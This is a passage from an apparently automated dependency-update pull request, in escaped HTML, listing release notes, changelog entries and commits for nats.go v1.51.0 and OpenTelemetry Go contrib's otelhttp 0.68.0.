href=\"https://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\"\u003ehttps://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/17b6fd141ba960bdc07278101f8b6381293bbfe1\"\u003e\u003ccode\u003e17b6fd1\u003c/code\u003e\u003c/a\u003e Release v1.51.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2061\"\u003e#2061\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/b6d0226cf77762c3d73f337b84ebac48c31eb22a\"\u003e\u003ccode\u003eb6d0226\u003c/code\u003e\u003c/a\u003e [ADDED] Accessors for JS API level and IsSysAccount (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2060\"\u003e#2060\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/7a2bb4ab8d5c2fc04d569b8176f58e427362f549\"\u003e\u003ccode\u003e7a2bb4a\u003c/code\u003e\u003c/a\u003e [IMPROVED] Code linting: remove functions min and max (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2047\"\u003e#2047\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/0099a322759de0aa0c05f1d18281c65ab2f516b4\"\u003e\u003ccode\u003e0099a32\u003c/code\u003e\u003c/a\u003e [IMPROVED] Fix deprecation warnings by bumping GH actions to their latest ver...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e23b40df651299adb61ffd593a429db7afa231c3\"\u003e\u003ccode\u003ee23b40d\u003c/code\u003e\u003c/a\u003e [FIXED] Deadlock in Consume() whe calling Stop/Drain from ConsumeErrHandler (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/1250dd658d7daf729bd4146febe9e1c3b6e10b93\"\u003e\u003ccode\u003e1250dd6\u003c/code\u003e\u003c/a\u003e [ADDED] Automatic reconnect on write error option (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2055\"\u003e#2055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e4a8c79c93097cc7abd239f757e2218f0520fb02\"\u003e\u003ccode\u003ee4a8c79\u003c/code\u003e\u003c/a\u003e [ADDED] Option to customize write buffer size (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2057\"\u003e#2057\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/9a88c4caea9eb8162127a53bdc6c22ca63480012\"\u003e\u003ccode\u003e9a88c4c\u003c/code\u003e\u003c/a\u003e Update Claude workflow permissions to contents:read and actions:read (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2056\"\u003e#2056\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/f945cd94fd0aad53ae6cc0623150c5d82d6beb06\"\u003e\u003ccode\u003ef945cd9\u003c/code\u003e\u003c/a\u003e [IMPROVED] Fix typos (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2049\"\u003e#2049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/4bba5713456124ebdfc2655f685d722792252fba\"\u003e\u003ccode\u003e4bba571\u003c/code\u003e\u003c/a\u003e [FIXED] Make websocket frame validation more robust (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2050\"\u003e#2050\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp` from 0.61.0 to 0.68.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/releases\"\u003ego.opentelemetry.io/contrib/instrumentation/net/http/otelhttp's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v1.43.0/v2.5.0/v0.68.0/v0.37.0/v0.23.0/v0.18.0/v0.16.0/v0.15.0\u003c/h2\u003e\n\u003ch2\u003eAdded\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eResource\u003c/code\u003e method to \u003ccode\u003eSDK\u003c/code\u003e in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf/v0.3.0\u003c/code\u003e to expose the resolved SDK resource from declarative configuration. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8660\"\u003e#8660\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support to set the configuration file via \u003ccode\u003eOTEL_CONFIG_FILE\u003c/code\u003e in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8639\"\u003e#8639\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eservice\u003c/code\u003e resource detector in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8674\"\u003e#8674\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eattribute_count_limit\u003c/code\u003e and \u003ccode\u003eattribute_value_length_limit\u003c/code\u003e in tracer provider configuration in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8687\"\u003e#8687\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eattribute_count_limit\u003c/code\u003e and \u003ccode\u003eattribute_value_length_limit\u003c/code\u003e in logger provider configuration in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8686\"\u003e#8686\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eserver.address\u003c/code\u003e and \u003ccode\u003eserver.port\u003c/code\u003e attributes in \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8723\"\u003e#8723\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eOTEL_SEMCONV_STABILITY_OPT_IN\u003c/code\u003e in \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\u003c/code\u003e. Supported values are \u003ccode\u003erpc\u003c/code\u003e (default), \u003ccode\u003erpc/dup\u003c/code\u003e and \u003ccode\u003erpc/old\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8726\"\u003e#8726\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd the \u003ccode\u003ehttp.route\u003c/code\u003e metric attribute to \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/net/http/otelhttp\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8632\"\u003e#8632\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanged\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ePrepend \u003ccode\u003e_\u003c/code\u003e to the normalized environment variable name when the key starts with a digit in \u003ccode\u003ego.opentelemetry.io/contrib/propagators/envcar\u003c/code\u003e, ensuring POSIX compliance. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8678\"\u003e#8678\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMove experimental types from \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e to \u003ccode\u003ego.opentelemetry.io/contrib/otelconf/x\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8529\"\u003e#8529\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNormalize cached environment variable names in \u003ccode\u003ego.opentelemetry.io/contrib/propagators/envcar\u003c/code\u003e, aligning \u003ccode\u003eCarrier.Keys\u003c/code\u003e output with the carrier's normalized key format. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8761\"\u003e#8761\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eFixed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e Prometheus reader converting OTel dot-style label names (e.g. \u003ccode\u003eservice.name\u003c/code\u003e) to underscore-style (\u003ccode\u003eservice_name\u003c/code\u003e) in \u003ccode\u003etarget_info\u003c/code\u003e when both \u003ccode\u003ewithout_type_suffix\u003c/code\u003e and \u003ccode\u003ewithout_units\u003c/code\u003e are set. Use \u003ccode\u003eNoTranslation\u003c/code\u003e instead of \u003ccode\u003eUnderscoreEscapingWithoutSuffixes\u003c/code\u003e to preserve dot-style label names while still suppressing metric name suffixes. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8763\"\u003e#8763\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLimit the request body size at 1MB in \u003ccode\u003ego.opentelemetry.io/contrib/zpages\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8656\"\u003e#8656\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix server spans using the client's address and port for \u003ccode\u003eserver.address\u003c/code\u003e and \u003ccode\u003eserver.port\u003c/code\u003e attributes in \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8723\"\u003e#8723\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eRemoved\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eHost ID resource detector has been removed when configuring the \u003ccode\u003ehost\u003c/code\u003e resource detector in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8581\"\u003e#8581\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDeprecated\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eOTEL_EXPERIMENTAL_CONFIG_FILE\u003c/code\u003e in favour of \u003ccode\u003eOTEL_CONFIG_FILE\u003c/code\u003e in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8639\"\u003e#8639\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps): update module github.com/jgautheron/goconst to v1.9.0 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8651\"\u003eopen-telemetry/opentelemetry-go-contrib#8651\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update module go.yaml.in/yaml/v2 to v2.4.4 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8652\"\u003eopen-telemetry/opentelemetry-go-contrib#8652\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update golang.org/x/telemetry digest to e526e8a by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8647\"\u003eopen-telemetry/opentelemetry-go-contrib#8647\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update module k8s.io/klog/v2 to v2.140.0 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8650\"\u003eopen-telemetry/opentelemetry-go-contrib#8650\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update module github.com/mgechev/revive to v1.14.0 by \u003ca href=\"https://github.com/mmorel-35\"\u003e\u003ccode\u003e@​mmorel-35\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8646\"\u003eopen-telemetry/opentelemetry-go-contrib#8646\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update module github.com/mgechev/revive to v1.15.0 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8539\"\u003eopen-telemetry/opentelemetry-go-contrib#8539\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: fix noctx issues by \u003ca href=\"https://github.com/mmorel-35\"\u003e\u003ccode\u003e@​mmorel-35\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8645\"\u003eopen-telemetry/opentelemetry-go-contrib#8645\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update golang.org/x by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8655\"\u003eopen-telemetry/opentelemetry-go-contrib#8655\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update module codeberg.org/chavacava/garif to v0.2.1 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8654\"\u003eopen-telemetry/opentelemetry-go-contrib#8654\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update module github.com/mattn/go-runewidth to v0.0.21 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8653\"\u003eopen-telemetry/opentelemetry-go-contrib#8653\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(deps): update module go.opentelemetry.io/proto/otlp to v1.10.0 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8657\"\u003eopen-telemetry/opentelemetry-go-contrib#8657\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eLimit the number of bytes read from the zpages body by \u003ca href=\"https://github.com/dmathieu\"\u003e\u003ccode\u003e@​dmathieu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8656\"\u003eopen-telemetry/opentelemetry-go-contrib#8656\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(deps): update module github.com/golangci/golangci-lint/v2 to v2.11.2 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8648\"\u003eopen-telemetry/opentelemetry-go-contrib#8648\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(deps): update module github.com/golangci/golangci-lint/v2 to v2.11.3 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8661\"\u003eopen-telemetry/opentelemetry-go-contrib#8661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update github.com/securego/gosec/v2 digest to 8895462 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8663\"\u003eopen-telemetry/opentelemetry-go-contrib#8663\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eotelconf: support OTEL_CONFIG_FILE as it is no longer experimental by \u003ca href=\"https://github.com/codeboten\"\u003e\u003ccode\u003e@​codeboten\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8639\"\u003eopen-telemetry/opentelemetry-go-contrib#8639\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update module github.com/sonatard/noctx to v0.5.1 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8664\"\u003eopen-telemetry/opentelemetry-go-contrib#8664\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/blob/main/CHANGELOG.md\"\u003ego.opentelemetry.io/contrib/instrumentation/net/http/otelhttp's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[1.43.0/2.5.0/0.68.0/0.37.0/0.23.0/0.18.0/0.16.0/0.15.0] - 2026-04-03\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eResource\u003c/code\u003e method to \u003ccode\u003eSDK\u003c/code\u003e in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf/v0.3.0\u003c/code\u003e to expose the resolved SDK resource from declarative configuration. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8660\"\u003e#8660\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support to set the configuration file via \u003ccode\u003eOTEL_CONFIG_FILE\u003c/code\u003e in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8639\"\u003e#8639\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eservice\u003c/code\u003e resource detector in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8674\"\u003e#8674\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eattribute_count_limit\u003c/code\u003e and \u003ccode\u003eattribute_value_length_limit\u003c/code\u003e in tracer provider configuration in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8687\"\u003e#8687\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eattribute_count_limit\u003c/code\u003e and \u003ccode\u003eattribute_value_length_limit\u003c/code\u003e in logger provider configuration in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8686\"\u003e#8686\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eserver.address\u003c/code\u003e and \u003ccode\u003eserver.port\u003c/code\u003e attributes in \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8723\"\u003e#8723\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eOTEL_SEMCONV_STABILITY_OPT_IN\u003c/code\u003e in \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\u003c/code\u003e. Supported values are \u003ccode\u003erpc\u003c/code\u003e (default), \u003ccode\u003erpc/dup\u003c/code\u003e and \u003ccode\u003erpc/old\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8726\"\u003e#8726\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd the \u003ccode\u003ehttp.route\u003c/code\u003e metric attribute to \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/net/http/otelhttp\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8632\"\u003e#8632\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePrepend \u003ccode\u003e_\u003c/code\u003e to the normalized environment variable name when the key starts with a digit in \u003ccode\u003ego.opentelemetry.io/contrib/propagators/envcar\u003c/code\u003e, ensuring POSIX compliance. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8678\"\u003e#8678\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMove experimental types from \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e to \u003ccode\u003ego.opentelemetry.io/contrib/otelconf/x\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8529\"\u003e#8529\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNormalize cached environment variable names in \u003ccode\u003ego.opentelemetry.io/contrib/propagators/envcar\u003c/code\u003e, aligning \u003ccode\u003eCarrier.Keys\u003c/code\u003e output with the carrier's normalized key format. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8761\"\u003e#8761\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e Prometheus reader converting OTel dot-style label names (e.g. \u003ccode\u003eservice.name\u003c/code\u003e) to underscore-style (\u003ccode\u003eservice_name\u003c/code\u003e) in \u003ccode\u003etarget_info\u003c/code\u003e when both \u003ccode\u003ewithout_type_suffix\u003c/code\u003e and \u003ccode\u003ewithout_units\u003c/code\u003e are set. Use \u003ccode\u003eNoTranslation\u003c/code\u003e instead of \u003ccode\u003eUnderscoreEscapingWithoutSuffixes\u003c/code\u003e to preserve dot-style label names while still suppressing metric name suffixes. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8763\"\u003e#8763\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLimit the request body size at 1MB in \u003ccode\u003ego.opentelemetry.io/contrib/zpages\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8656\"\u003e#8656\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix server spans using the client's address and port for \u003ccode\u003eserver.address\u003c/code\u003e and \u003ccode\u003eserver.port\u003c/code\u003e attributes in \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8723\"\u003e#8723\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRemoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eHost ID resource detector has been removed when configuring the \u003ccode\u003ehost\u003c/code\u003e resource detector in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8581\"\u003e#8581\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eOTEL_EXPERIMENTAL_CONFIG_FILE\u003c/code\u003e in favour of \u003ccode\u003eOTEL_CONFIG_FILE\u003c/code\u003e in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8639\"\u003e#8639\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[1.42.0/2.4.0/0.67.0/0.36.0/0.22.0/0.17.0/0.15.0/0.14.0] - 2026-03-06\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd environment variables propagation carrier in \u003ccode\u003ego.opentelemetry.io/contrib/propagators/envcar\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8442\"\u003e#8442\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eUpgrade \u003ccode\u003ego.opentelemetry.io/otel/semconv\u003c/code\u003e to \u003ccode\u003ev1.40.0\u003c/code\u003e, including updates across instrumentation and detector modules. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8631\"\u003e#8631\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe semantic conventions v1.40.0 release introduces RPC breaking changes applied in this repository:\n\u003cul\u003e\n\u003cli\u003eRPC spans and metrics no longer include \u003ccode\u003enetwork.protocol.name\u003c/code\u003e, \u003ccode\u003enetwork.protocol.version\u003c/code\u003e, or \u003ccode\u003enetwork.transport\u003c/code\u003e attributes.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003erpc.client.request.size\u003c/code\u003e, \u003ccode\u003erpc.client.response.size\u003c/code\u003e, \u003ccode\u003erpc.server.request.size\u003c/code\u003e, and \u003ccode\u003erpc.server.response.size\u003c/code\u003e are no longer emitted in \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003erpc.message\u003c/code\u003e span events and their message attributes are no longer emitted in \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\u003c/code\u003e (including when \u003ccode\u003eWithMessageEvents\u003c/code\u003e is configured).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/open-telemetry/semantic-conventions/releases/tag/v1.40.0\"\u003esemantic-conventions v1.40.0 release\u003c/a\u003e for complete details.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/45977a4b9cf4a60effd1ee07367043f7e9bcae66\"\u003e\u003ccode\u003e45977a4\u003c/code\u003e\u003c/a\u003e Release v1.43.0/v2.5.0/v0.68.0/v0.37.0/v0.23.0/v0.18.0/v0.16.0/v0.15.0 (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8769\"\u003e#8769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/0fcc1524d1a740b3632db418f73236d29536f119\"\u003e\u003ccode\u003e0fcc152\u003c/code\u003e\u003c/a\u003e fix(deps): update module github.com/googlecloudplatform/opentelemetry-operati...\u003c/li\u003e\n\u003cli\u003e\u003ca 